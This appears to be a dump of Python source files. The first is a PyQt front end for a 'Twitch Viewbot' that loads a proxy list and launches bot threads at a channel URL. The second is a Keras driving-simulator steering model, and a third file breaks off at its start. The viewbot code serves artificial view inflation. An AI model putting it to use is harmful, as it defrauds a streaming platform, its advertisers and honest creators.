padding-bottom:1px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QMenu\\n\"\n\"{\\n\"\n\" border: 1px solid #000;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QMenu::item\\n\"\n\"{\\n\"\n\" padding: 2px 20px 2px 20px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QMenu::item:selected\\n\"\n\"{\\n\"\n\" color: #000000;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QWidget:disabled\\n\"\n\"{\\n\"\n\" color: #808080;\\n\"\n\" background-color: #323232;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QAbstractItemView\\n\"\n\"{\\n\"\n\" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #4d4d4d, stop: 0.1 #646464, stop: 1 #5d5d5d);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QWidget:focus\\n\"\n\"{\\n\"\n\" /*border: 1px solid darkgray;*/\\n\"\n\"}\\n\"\n\"\\n\"\n\"QLineEdit\\n\"\n\"{\\n\"\n\" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #4d4d4d, stop: 0 #646464, stop: 1 #5d5d5d);\\n\"\n\" padding: 1px;\\n\"\n\" border-style: solid;\\n\"\n\" border: 1px solid #1e1e1e;\\n\"\n\" border-radius: 5;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QPushButton\\n\"\n\"{\\n\"\n\" color: #b1b1b1;\\n\"\n\" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646);\\n\"\n\" border-width: 1px;\\n\"\n\" border-color: #1e1e1e;\\n\"\n\" border-style: solid;\\n\"\n\" border-radius: 6;\\n\"\n\" padding: 3px;\\n\"\n\" font-size: 12px;\\n\"\n\" padding-left: 5px;\\n\"\n\" padding-right: 5px;\\n\"\n\" min-width: 40px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QPushButton:pressed\\n\"\n\"{\\n\"\n\" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #2d2d2d, stop: 0.1 #2b2b2b, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QComboBox\\n\"\n\"{\\n\"\n\" selection-background-color: #ffaa00;\\n\"\n\" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646);\\n\"\n\" border-style: solid;\\n\"\n\" border: 1px solid #1e1e1e;\\n\"\n\" border-radius: 5;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QComboBox:hover,QPushButton:hover\\n\"\n\"{\\n\"\n\" border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);\\n\"\n\"}\\n\"\n\"\\n\"\n\"\\n\"\n\"QComboBox:on\\n\"\n\"{\\n\"\n\" padding-top: 3px;\\n\"\n\" padding-left: 4px;\\n\"\n\" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #2d2d2d, stop: 0.1 #2b2b2b, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525);\\n\"\n\" selection-background-color: #ffaa00;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QComboBox QAbstractItemView\\n\"\n\"{\\n\"\n\" border: 2px solid darkgray;\\n\"\n\" selection-background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QComboBox::drop-down\\n\"\n\"{\\n\"\n\" subcontrol-origin: padding;\\n\"\n\" subcontrol-position: top right;\\n\"\n\" width: 15px;\\n\"\n\"\\n\"\n\" border-left-width: 0px;\\n\"\n\" border-left-color: darkgray;\\n\"\n\" border-left-style: solid; /* just a single line */\\n\"\n\" border-top-right-radius: 3px; /* same radius as the QComboBox */\\n\"\n\" border-bottom-right-radius: 3px;\\n\"\n\" }\\n\"\n\"\\n\"\n\"QComboBox::down-arrow\\n\"\n\"{\\n\"\n\" image: url(:/dark_orange/img/down_arrow.png);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QGroupBox\\n\"\n\"{\\n\"\n\" border: 1px solid darkgray;\\n\"\n\" margin-top: 10px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QGroupBox:focus\\n\"\n\"{\\n\"\n\" border: 1px solid darkgray;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QTextEdit:focus\\n\"\n\"{\\n\"\n\" border: 1px solid darkgray;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar:horizontal {\\n\"\n\" border: 1px solid #222222;\\n\"\n\" background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848);\\n\"\n\" height: 7px;\\n\"\n\" margin: 0px 16px 0 16px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar::handle:horizontal\\n\"\n\"{\\n\"\n\" background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f);\\n\"\n\" min-height: 20px;\\n\"\n\" border-radius: 2px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar::add-line:horizontal {\\n\"\n\" border: 1px solid #1b1b19;\\n\"\n\" border-radius: 2px;\\n\"\n\" background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a);\\n\"\n\" width: 14px;\\n\"\n\" subcontrol-position: right;\\n\"\n\" subcontrol-origin: margin;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar::sub-line:horizontal {\\n\"\n\" border: 1px solid #1b1b19;\\n\"\n\" border-radius: 2px;\\n\"\n\" background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a);\\n\"\n\" width: 14px;\\n\"\n\" subcontrol-position: left;\\n\"\n\" subcontrol-origin: margin;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar::right-arrow:horizontal, QScrollBar::left-arrow:horizontal\\n\"\n\"{\\n\"\n\" border: 1px solid black;\\n\"\n\" width: 1px;\\n\"\n\" height: 1px;\\n\"\n\" background: white;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal\\n\"\n\"{\\n\"\n\" background: none;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar:vertical\\n\"\n\"{\\n\"\n\" background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848);\\n\"\n\" width: 7px;\\n\"\n\" margin: 16px 0 16px 0;\\n\"\n\" border: 1px solid #222222;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar::handle:vertical\\n\"\n\"{\\n\"\n\" background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f);\\n\"\n\" min-height: 20px;\\n\"\n\" border-radius: 2px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar::add-line:vertical\\n\"\n\"{\\n\"\n\" border: 1px solid #1b1b19;\\n\"\n\" border-radius: 2px;\\n\"\n\" background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);\\n\"\n\" height: 14px;\\n\"\n\" subcontrol-position: bottom;\\n\"\n\" subcontrol-origin: margin;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar::sub-line:vertical\\n\"\n\"{\\n\"\n\" border: 1px solid #1b1b19;\\n\"\n\" border-radius: 2px;\\n\"\n\" background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #d7801a, stop: 1 #ffa02f);\\n\"\n\" height: 14px;\\n\"\n\" subcontrol-position: top;\\n\"\n\" subcontrol-origin: margin;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical\\n\"\n\"{\\n\"\n\" border: 1px solid black;\\n\"\n\" width: 1px;\\n\"\n\" height: 1px;\\n\"\n\" background: white;\\n\"\n\"}\\n\"\n\"\\n\"\n\"\\n\"\n\"QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical\\n\"\n\"{\\n\"\n\" background: none;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QTextEdit\\n\"\n\"{\\n\"\n\" background-color: #242424;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QPlainTextEdit\\n\"\n\"{\\n\"\n\" background-color: #242424;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QHeaderView::section\\n\"\n\"{\\n\"\n\" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #616161, stop: 0.5 #505050, stop: 0.6 #434343, stop:1 #656565);\\n\"\n\" color: white;\\n\"\n\" padding-left: 4px;\\n\"\n\" border: 1px solid #6c6c6c;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QCheckBox:disabled\\n\"\n\"{\\n\"\n\"color: #414141;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QDockWidget::title\\n\"\n\"{\\n\"\n\" text-align: center;\\n\"\n\" spacing: 3px; /* spacing between items in the tool bar */\\n\"\n\" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QDockWidget::close-button, QDockWidget::float-button\\n\"\n\"{\\n\"\n\" text-align: center;\\n\"\n\" spacing: 1px; /* spacing between items in the tool bar */\\n\"\n\" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QDockWidget::close-button:hover, QDockWidget::float-button:hover\\n\"\n\"{\\n\"\n\" background: #242424;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QDockWidget::close-button:pressed, QDockWidget::float-button:pressed\\n\"\n\"{\\n\"\n\" padding: 1px -1px -1px 1px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QMainWindow::separator\\n\"\n\"{\\n\"\n\" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434);\\n\"\n\" color: white;\\n\"\n\" padding-left: 4px;\\n\"\n\" border: 1px solid #4c4c4c;\\n\"\n\" spacing: 3px; /* spacing between items in the tool bar */\\n\"\n\"}\\n\"\n\"\\n\"\n\"QMainWindow::separator:hover\\n\"\n\"{\\n\"\n\"\\n\"\n\" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #d7801a, stop:0.5 #b56c17 stop:1 #ffa02f);\\n\"\n\" color: white;\\n\"\n\" padding-left: 4px;\\n\"\n\" border: 1px solid #6c6c6c;\\n\"\n\" spacing: 3px; /* spacing between items in the tool bar */\\n\"\n\"}\\n\"\n\"\\n\"\n\"QToolBar::handle\\n\"\n\"{\\n\"\n\" spacing: 3px; /* spacing between items in the tool bar */\\n\"\n\" background: url(:/dark_orange/img/handle.png);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QMenu::separator\\n\"\n\"{\\n\"\n\" height: 2px;\\n\"\n\" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434);\\n\"\n\" color: white;\\n\"\n\" padding-left: 4px;\\n\"\n\" margin-left: 10px;\\n\"\n\" margin-right: 5px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QProgressBar\\n\"\n\"{\\n\"\n\" border: 2px solid grey;\\n\"\n\" border-radius: 5px;\\n\"\n\" text-align: center;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QProgressBar::chunk\\n\"\n\"{\\n\"\n\" background-color: #d7801a;\\n\"\n\" width: 2.15px;\\n\"\n\" margin: 0.5px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QTabBar::tab {\\n\"\n\" color: #b1b1b1;\\n\"\n\" border: 1px solid #444;\\n\"\n\" border-bottom-style: none;\\n\"\n\" background-color: #323232;\\n\"\n\" padding-left: 10px;\\n\"\n\" padding-right: 10px;\\n\"\n\" padding-top: 3px;\\n\"\n\" padding-bottom: 2px;\\n\"\n\" margin-right: -1px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QTabWidget::pane {\\n\"\n\" border: 1px solid #444;\\n\"\n\" top: 1px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QTabBar::tab:last\\n\"\n\"{\\n\"\n\" margin-right: 0; /* the last selected tab has nothing to overlap with on the right */\\n\"\n\" border-top-right-radius: 3px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QTabBar::tab:first:!selected\\n\"\n\"{\\n\"\n\" margin-left: 0px; /* the last selected tab has nothing to overlap with on the right */\\n\"\n\"\\n\"\n\"\\n\"\n\" border-top-left-radius: 3px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QTabBar::tab:!selected\\n\"\n\"{\\n\"\n\" color: #b1b1b1;\\n\"\n\" border-bottom-style: solid;\\n\"\n\" margin-top: 3px;\\n\"\n\" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:.4 #343434);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QTabBar::tab:selected\\n\"\n\"{\\n\"\n\" border-top-left-radius: 3px;\\n\"\n\" border-top-right-radius: 3px;\\n\"\n\" margin-bottom: 0px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QTabBar::tab:!selected:hover\\n\"\n\"{\\n\"\n\" /*border-top: 2px solid #ffaa00;\\n\"\n\" padding-bottom: 3px;*/\\n\"\n\" border-top-left-radius: 3px;\\n\"\n\" border-top-right-radius: 3px;\\n\"\n\" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:0.4 #343434, stop:0.2 #343434, stop:0.1 #ffaa00);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QRadioButton::indicator:checked, QRadioButton::indicator:unchecked{\\n\"\n\" color: #b1b1b1;\\n\"\n\" background-color: #323232;\\n\"\n\" border: 1px solid #b1b1b1;\\n\"\n\" border-radius: 6px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QRadioButton::indicator:checked\\n\"\n\"{\\n\"\n\" background-color: qradialgradient(\\n\"\n\" cx: 0.5, cy: 0.5,\\n\"\n\" fx: 0.5, fy: 0.5,\\n\"\n\" radius: 1.0,\\n\"\n\" stop: 0.25 #ffaa00,\\n\"\n\" stop: 0.3 #323232\\n\"\n\" );\\n\"\n\"}\\n\"\n\"\\n\"\n\"QCheckBox::indicator{\\n\"\n\" color: #b1b1b1;\\n\"\n\" background-color: #323232;\\n\"\n\" border: 1px solid #b1b1b1;\\n\"\n\" width: 9px;\\n\"\n\" height: 9px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QRadioButton::indicator\\n\"\n\"{\\n\"\n\" border-radius: 6px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QRadioButton::indicator:hover, QCheckBox::indicator:hover\\n\"\n\"{\\n\"\n\" border: 1px solid #ffaa00;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QCheckBox::indicator:checked\\n\"\n\"{\\n\"\n\" image:url(:/dark_orange/img/checkbox.png);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QCheckBox::indicator:disabled, QRadioButton::indicator:disabled\\n\"\n\"{\\n\"\n\" border: 1px solid #444;\\n\"\n\"}\\n\"\n\"\\n\"\n\"\\n\"\n\"QSlider::groove:horizontal {\\n\"\n\" border: 1px solid #3A3939;\\n\"\n\" height: 8px;\\n\"\n\" background: #201F1F;\\n\"\n\" margin: 2px 0;\\n\"\n\" border-radius: 2px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QSlider::handle:horizontal {\\n\"\n\" background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1,\\n\"\n\" stop: 0.0 silver, stop: 0.2 #a8a8a8, stop: 1 #727272);\\n\"\n\" border: 1px solid #3A3939;\\n\"\n\" width: 14px;\\n\"\n\" height: 14px;\\n\"\n\" margin: -4px 0;\\n\"\n\" border-radius: 2px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QSlider::groove:vertical {\\n\"\n\" border: 1px solid #3A3939;\\n\"\n\" width: 8px;\\n\"\n\" background: #201F1F;\\n\"\n\" margin: 0 0px;\\n\"\n\" border-radius: 2px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QSlider::handle:vertical {\\n\"\n\" background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0.0 silver,\\n\"\n\" stop: 0.2 #a8a8a8, stop: 1 #727272);\\n\"\n\" border: 1px solid #3A3939;\\n\"\n\" width: 14px;\\n\"\n\" height: 14px;\\n\"\n\" margin: 0 -4px;\\n\"\n\" border-radius: 2px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QAbstractSpinBox {\\n\"\n\" padding-top: 2px;\\n\"\n\" padding-bottom: 2px;\\n\"\n\" border: 1px solid darkgray;\\n\"\n\"\\n\"\n\" border-radius: 2px;\\n\"\n\" min-width: 50px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"\")\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)\n self.lineEdit.setGeometry(QtCore.QRect(80, 100, 331, 21))\n self.lineEdit.setText(\"\")\n self.lineEdit.setObjectName(\"lineEdit\")\n self.pushButton = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(240, 160, 91, 41))\n self.pushButton.setObjectName(\"pushButton\")\n self.label = QtWidgets.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(140, 30, 281, 41))\n font = QtGui.QFont()\n font.setPointSize(30)\n self.label.setFont(font)\n self.label.setObjectName(\"label\")\n self.label_2 = QtWidgets.QLabel(self.centralwidget)\n self.label_2.setGeometry(QtCore.QRect(20, 100, 51, 21))\n self.label_2.setObjectName(\"label_2\")\n self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(420, 130, 91, 23))\n self.pushButton_2.setObjectName(\"pushButton_2\")\n self.lineEdit_2 = QtWidgets.QLineEdit(self.centralwidget)\n self.lineEdit_2.setGeometry(QtCore.QRect(80, 130, 331, 21))\n self.lineEdit_2.setText(\"\")\n self.lineEdit_2.setObjectName(\"lineEdit_2\")\n self.label_3 = QtWidgets.QLabel(self.centralwidget)\n self.label_3.setGeometry(QtCore.QRect(20, 130, 61, 21))\n self.label_3.setObjectName(\"label_3\")\n self.spinBox = QtWidgets.QSpinBox(self.centralwidget)\n self.spinBox.setGeometry(QtCore.QRect(100, 160, 131, 41))\n self.spinBox.setObjectName(\"spinBox\")\n self.label_4 = QtWidgets.QLabel(self.centralwidget)\n self.label_4.setGeometry(QtCore.QRect(20, 170, 71, 21))\n self.label_4.setObjectName(\"label_4\")\n self.pushButton_3 = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_3.setGeometry(QtCore.QRect(340, 160, 91, 41))\n self.pushButton_3.setObjectName(\"pushButton_3\")\n self.label_5 = QtWidgets.QLabel(self.centralwidget)\n self.label_5.setGeometry(QtCore.QRect(440, 170, 81, 20))\n self.label_5.setObjectName(\"label_5\")\n self.label_6 = QtWidgets.QLabel(self.centralwidget)\n self.label_6.setGeometry(QtCore.QRect(20, 210, 491, 20))\n self.label_6.setAlignment(QtCore.Qt.AlignCenter)\n self.label_6.setObjectName(\"label_6\")\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n self.menuBar = QtWidgets.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 528, 21))\n self.menuBar.setObjectName(\"menuBar\")\n \n MainWindow.setMenuBar(self.menuBar)\n self.actionDiscord = QtWidgets.QAction(MainWindow)\n self.actionDiscord.setObjectName(\"actionDiscord\")\n self.actionVersion_1_0_0 = QtWidgets.QAction(MainWindow)\n self.actionVersion_1_0_0.setObjectName(\"actionVersion_1_0_0\")\n \n self.actionYoutube_Tutorial = QtWidgets.QAction(MainWindow)\n self.actionYoutube_Tutorial.setObjectName(\"actionYoutube_Tutorial\")\n \n \n self.threadpool = QThreadPool()\n MainWindow.closeEvent = self.closeEvent\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"Twitch Bot\"))\n self.pushButton.setText(_translate(\"MainWindow\", \"Start\"))\n self.label.setText(_translate(\"MainWindow\", \"Twitch Viewbot\"))\n self.label_2.setText(_translate(\"MainWindow\", \"TwitchURL:\"))\n self.pushButton_2.setText(_translate(\"MainWindow\", \"Browse\"))\n self.label_3.setText(_translate(\"MainWindow\", \"ProxyFile:\"))\n self.label_4.setText(_translate(\"MainWindow\", \"Bot Count:\"))\n self.pushButton_3.setText(_translate(\"MainWindow\", \"Stop\"))\n self.label_5.setText(_translate(\"MainWindow\", ''))\n self.label_6.setText(_translate(\"MainWindow\", ''))\n self.actionDiscord.setText(_translate(\"MainWindow\", \"Discord\"))\n self.actionVersion_1_0_0.setText(_translate(\"MainWindow\", \"Version 1.0.0\"))\n self.actionYoutube_Tutorial.setText(_translate(\"MainWindow\", \"Youtube Tutorial\"))\n self.lineEdit_2.setText(config.get('main', 'proxy'))\n self.lineEdit.setText(config.get('main', 'url'))\n self.spinBox.setValue(int(config.get('main', 'botcount')))\n self.pushButton.clicked.connect(self.start)\n self.pushButton_2.clicked.connect(self.openfile)\n self.pushButton_3.clicked.connect(self.stop)\n self.actionDiscord.triggered.connect(self.discord)\n self.actionYoutube_Tutorial.triggered.connect(self.youtube)\n\n def about(self):\n pass\n\n def youtube(self):\n pass\n\n def discord(self):\n pass\n\n\n\n def closeEvent(self, event):\n config.set('main', 'proxy', self.lineEdit_2.text())\n config.set('main', 'url', self.lineEdit.text())\n config.set('main', 'botcount', str(self.spinBox.value()))\n with open('config.ini', 'w') as f:\n config.write(f)\n\n def openfile(self):\n proxyfile, _filter = QtWidgets.QFileDialog.getOpenFileName(None, \"Open Proxy File\", '.', \"(*.txt)\")\n if proxyfile != '':\n self.lineEdit_2.setText(proxyfile)\n\n def stop(self):\n self.label_5.setText('')\n self.label_6.setText(\"\")\n os.system(\"taskkill /f /im vlc.exe\")\n\n def start(self):\n self.label_6.setText(\"Bots will Start between 5-20 seconds\")\n try:\n message = f' Starting {self.spinBox.value()} Bots'\n self.label_5.setText(message)\n channel_url = self.lineEdit.text()\n self.proxyfile = self.lineEdit_2.text()\n randomproxylist = list()\n shared_list = list()\n with open(self.proxyfile, 'r') as file:\n proxies = [line.strip() for line in file]\n for i in proxies:\n shared_list.append((i))\n for _ in range(self.spinBox.value()):\n proxy = random.choice(shared_list)\n randomproxylist.append(proxy)\n shared_list.remove(proxy)\n for i in randomproxylist:\n worker = Worker(i, self.lineEdit.text())\n self.threadpool.start(worker.startbots)\n except IndexError:\n self.label_6.setText(\"Error reading the Proxy file check the file formatting, don't run more bots than proxy addresses\")\n self.label_5.setText(\"\")\n except OSError:\n self.label_6.setText(\"Error reading the Proxy file check the file formatting, don't run more bots than proxy addresses\")\n self.label_5.setText(\"\")\n except Exception as e:\n self.label_6.setText(e)\n self.label_5.setText(\"\")\n\nif __name__ == \"__main__\":\n sys.excepthook = except_hook\n app = QtWidgets.QApplication(sys.argv)\n MainWindow = QtWidgets.QMainWindow()\n ui = Ui_MainWindow()\n ui.setupUi(MainWindow)\n MainWindow.show()\n sys.exit(app.exec_())","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":22815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"555958243","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nimport cv2\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\nfrom keras.models import model_from_json\nfrom keras.models import Sequential\nfrom keras.layers import Input, Dense, Dropout, Activation, Flatten, BatchNormalization, Convolution2D, MaxPooling2D\nfrom keras.layers.core import Lambda\nfrom keras.utils import np_utils\nfrom keras.regularizers import l2\nfrom keras.preprocessing import image\nfrom keras.optimizers import Adam\nfrom keras import backend as K\n\n\n# In[2]:\n\n\ndef duplicate_data(data):\n '''\n input:\n data in dataframe format\n output:\n concatenated dataframe with flipping angles. \n '''\n data_left = data[['left','steering']]\n data_left['steering'] = data_left['steering'] + 0.3\n data_left['image'] = data_left['left']\n data_left = data_left.drop('left',axis = 1)\n data_right = data[['right','steering']]\n data_right['steering'] = data_right['steering'] - 0.3\n data_right['image'] = data_right['right']\n data_right = data_right.drop('right',axis = 1)\n data_center = data[['center','steering']]\n data_center['image'] = data_center['center']\n data_center = data_center.drop('center',axis = 1)\n combined_data = pd.concat([data_center, data_left, data_right])\n flipped_data = combined_data.copy()\n combined_data['flip'] = False\n flipped_data['flip'] = True\n flipped_data['steering'] = flipped_data['steering'] * -1\n final_data = pd.concat([combined_data, flipped_data, combined_data.copy(), flipped_data.copy()])\n return final_data\n\n\n# In[3]:\n\n\ndef crop_image(image, top=70, bottom=135):\n return image[top:bottom]\n\n\n# In[4]:\n\n\ndef resize_image(image):\n return cv2.resize(image,(224, 49), interpolation= cv2.INTER_AREA)\n\n\n# In[5]:\n\n\ndef brightness(image,angle):\n choice = np.random.randint(2)\n if choice == 1:\n c = np.random.uniform(0.3,1.2)\n hsv = cv2.cvtColor(image , cv2.COLOR_RGB2HSV)\n hsv[:,:,2] = hsv[:,:,2] * c\n brightness = cv2.cvtColor(hsv, cv2.COLOR_HSV2RGB)\n image = brightness\n return image , angle\n else:\n return image,angle\n\n\n# In[6]:\n\n\ndef augmentation(entry):\n data_directory = 'data/'\n image_flip, angle = entry\n image = plt.imread(data_directory+image_flip[1]['image'].strip())\n angle = angle[1]['steering']\n image = image[70:135]\n image = cv2.resize(image,(224, 49), interpolation= cv2.INTER_AREA)\n image, angle = brightness(image, angle)\n flip = image_flip[1]['flip']\n if flip:\n image = image[:,:,::-1]\n return image, angle\n\n\n# In[7]:\n\n\ndef generator(X, y, batch_size=128):\n N = X.shape[0]\n number_of_batches = int(np.ceil(N / batch_size))\n while True:\n X, y = shuffle(X, y)\n for i in range(number_of_batches):\n start_index = i*batch_size\n end_index = (i+1)*(batch_size)\n if end_index <= N:\n X_batch = X[start_index:end_index]\n y_batch = y[start_index:end_index]\n else:\n X_batch = X[start_index:]\n y_batch = y[start_index:]\n X_batch, y_batch = X_batch.iterrows(), y_batch.iterrows()\n X_image_batch, y_batch = zip(*map(augmentation, zip(X_batch, y_batch)))\n X_image_batch = np.asarray(X_image_batch)\n y_batch = np.asarray(y_batch)\n yield X_image_batch, y_batch\n\n\n# In[20]:\n\n\ndef model():\n model = Sequential()\n model.add(Lambda(lambda x: (x/ 127.5 - 1.),input_shape=(49,224,3)))\n model.add(Convolution2D(3, 1,1, border_mode='same', activation='relu'))\n model.add(MaxPooling2D())\n model.add(Convolution2D(32, 5 , 5, border_mode='same', activation='relu'))\n model.add(MaxPooling2D())\n model.add(Convolution2D(64, 5 , 5, border_mode='same', activation='relu'))\n model.add(MaxPooling2D())\n model.add(Convolution2D(64, 3 , 3, border_mode='same', activation='relu'))\n model.add(MaxPooling2D())\n model.add(Flatten())\n model.add(Dropout(0.3))\n model.add(Dense(512, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(10, activation='tanh'))\n model.add(Dropout(0.2))\n model.add(Dense(1))\n model.compile(optimizer=Adam(), loss='mse')\n print(model.summary())\n return model\n\n\n# In[21]:\n\n\ndata = pd.read_csv('data/driving_log.csv')\n\n\n# In[22]:\n\n\ndata = duplicate_data(data)\n\n\n# In[23]:\n\n\nimages = data[['image', 'flip']]\nangles = data[['steering']]\n\n\n# In[24]:\n\n\nX_train, X_valid, y_train, y_valid = train_test_split(images, angles, test_size=0.1)\n\n\n# In[25]:\n\n\ntrain_gen = generator(X_train, y_train)\nvalid_gen = generator(X_valid, y_valid)\n\n\n# In[26]:\n\n\nmodel = model()\n\n\n# In[24]:\n\n\nmodel.fit_generator(train_gen, X_train.shape[0], nb_epoch=3, validation_data=valid_gen, nb_val_samples=X_valid.shape[0])\n\n\n# In[25]:\n\n\nmodel.save('model.h5')\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"189380893","text":"import datetime\r\n\r\nimport main\r\n\r\nENV_DB = 'Dev'\r\n\r\n\r\nclass Recommend:\r\n \"\"\"Class to recommend events to users.\r\n\r\n Gets user interests based on categories from the database and events 